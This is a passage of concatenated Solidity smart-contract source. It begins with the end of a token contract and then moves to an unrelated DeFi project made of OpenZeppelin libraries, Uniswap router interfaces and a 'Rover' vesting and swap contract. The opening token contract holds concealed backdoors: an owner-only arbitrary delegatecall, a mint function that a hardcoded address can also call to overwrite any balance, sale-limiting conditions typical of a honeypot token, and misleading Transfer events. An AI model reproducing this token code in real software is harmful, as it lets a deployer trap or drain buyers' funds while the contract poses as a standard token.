emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1089755605351626874222503051495683696555102411980));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity >=0.6.0;
interface IPoolFactory {
function createNewPool(
address _rewardToken,
address _rover,
uint256 _duration,
address _distributor
) external returns (address);
}
pragma solidity >=0.6.0;
interface IBasedGod {
function getSellingSchedule() external view returns (uint256);
function weth() external view returns (address);
function susd() external view returns (address);
function based() external view returns (address);
function uniswapRouter() external view returns (address);
function moonbase() external view returns (address);
function deployer() external view returns (address);
function getRovers() external view returns (address[] memory);
function getTokenRovers(address token) external view returns (address[] memory);
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity >=0.6.0;
interface ISwapModule {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function swapReward(uint256 amountIn, address receiver, address[] calldata path) external returns (uint256);
}
pragma solidity >=0.6.0;
contract Rover is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public constant vestingTime = 365*24*60*60; // 1 year
uint256 public roverStart;
uint256 public latestBalance;
uint256 public totalTokensReceived;
uint256 public totalTokensWithdrawn;
address[] public path;
// prepare for v1.69 migration
address public marsColony;
bool public migrationCompleted;
IBasedGod public basedGod;
IERC20 public immutable based;
IERC20 public immutable rewardToken;
address public immutable swapModule;
modifier updateBalance() {
sync();
_;
latestBalance = rewardToken.balanceOf(address(this));
}
modifier onlyBasedDeployer() {
require(msg.sender == basedGod.deployer(), "Not a deployer");
_;
}
modifier onlyMarsColony() {
require(msg.sender == marsColony, "Not a new moonbase");
_;
}
/// @param _pair either "sUSD" or "WETH"
constructor (
address _rewardToken,
string memory _pair,
address _swapModule
)
public
{
basedGod = IBasedGod(msg.sender);
// set immutables
rewardToken = IERC20(_rewardToken);
based = IERC20(basedGod.based());
swapModule = _swapModule;
address[] memory _path = new address[](3);
_path[0] = _rewardToken;
_path[2] = basedGod.based();
if (keccak256(abi.encodePacked(_pair)) == keccak256(abi.encodePacked("WETH"))) {
_path[1] = basedGod.weth();
} else if (keccak256(abi.encodePacked(_pair)) == keccak256(abi.encodePacked("sUSD"))) {
_path[1] = basedGod.susd();
} else {
revert("must use a CERTIFIED OFFICIAL $BASED™ pair");
}
// ensure that the path exists
uint[] memory amountsOut = ISwapModule(_swapModule).getAmountsOut(10**10, _path);
require(amountsOut[amountsOut.length - 1] >= 1, "Path does not exist");
path = _path;
}
function balance() public view returns (uint256) {
return rewardToken.balanceOf(address(this));
}
function calculateReward() public view returns (uint256) {
uint256 timeElapsed = block.timestamp.sub(roverStart);
if (timeElapsed > vestingTime) timeElapsed = vestingTime;
uint256 maxClaimable = totalTokensReceived.mul(timeElapsed).div(vestingTime);
return maxClaimable.sub(totalTokensWithdrawn);
}
function rugPull() public virtual updateBalance {
require(roverStart != 0, "Rover is not initialized");
// Calculate how much reward can be swapped
uint256 availableReward = calculateReward();
// Record that the tokens are being withdrawn
totalTokensWithdrawn = totalTokensWithdrawn.add(availableReward);
// Swap for BASED
(bool success, bytes memory result) = swapModule.delegatecall(
abi.encodeWithSignature(
"swapReward(uint256,address,address[])",
availableReward,
address(this),
path
)
);
require(success, "SwapModule: Swap failed");
uint256 basedReward = abi.decode(result, (uint256));
// Split the reward between the caller and the moonbase contract
uint256 callerReward = basedReward.div(100);
uint256 moonbaseReward = basedReward.sub(callerReward);
// Reward the caller
based.transfer(msg.sender, callerReward);
// Send to MoonBase
based.transfer(basedGod.moonbase(), moonbaseReward);
}
function setMarsColony(address _marsColony) public onlyBasedDeployer {
marsColony = _marsColony;
}
// WARNING: Alpha leak!
function migrateRoverBalanceToMarsColonyV1_69() external onlyMarsColony updateBalance {
require(migrationCompleted == false, "Migration completed");
IERC20 moonbase = IERC20(basedGod.moonbase());
uint256 marsColonyShare = moonbase.balanceOf(msg.sender);
uint256 totalSupply = moonbase.totalSupply();
// withdraw amount is proportional to total supply share of mbBASED of msg.sender
uint256 amountToMigrate =
rewardToken.balanceOf(address(this)).mul(marsColonyShare).div(totalSupply);
rewardToken.transfer(msg.sender, amountToMigrate);
migrationCompleted = true;
// update rewards
totalTokensReceived = totalTokensReceived.sub(amountToMigrate);
}
function init() internal updateBalance {
require(roverStart == 0, "Already initialized");
roverStart = block.timestamp;
renounceOwnership();
}
function sync() internal {
uint256 currentBalance = rewardToken.balanceOf(address(this));
if (currentBalance > latestBalance) {
uint diff = currentBalance.sub(latestBalance);
totalTokensReceived = totalTokensReceived.add(diff);
}
}
}
pragma solidity >=0.6.0;
contract RoverVault is Rover {
constructor(address _rewardToken, string memory _pair, address _swapModule)
public
Rover(_rewardToken, _pair, _swapModule)
{}
function startRover() public onlyOwner {
init();
}
}
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
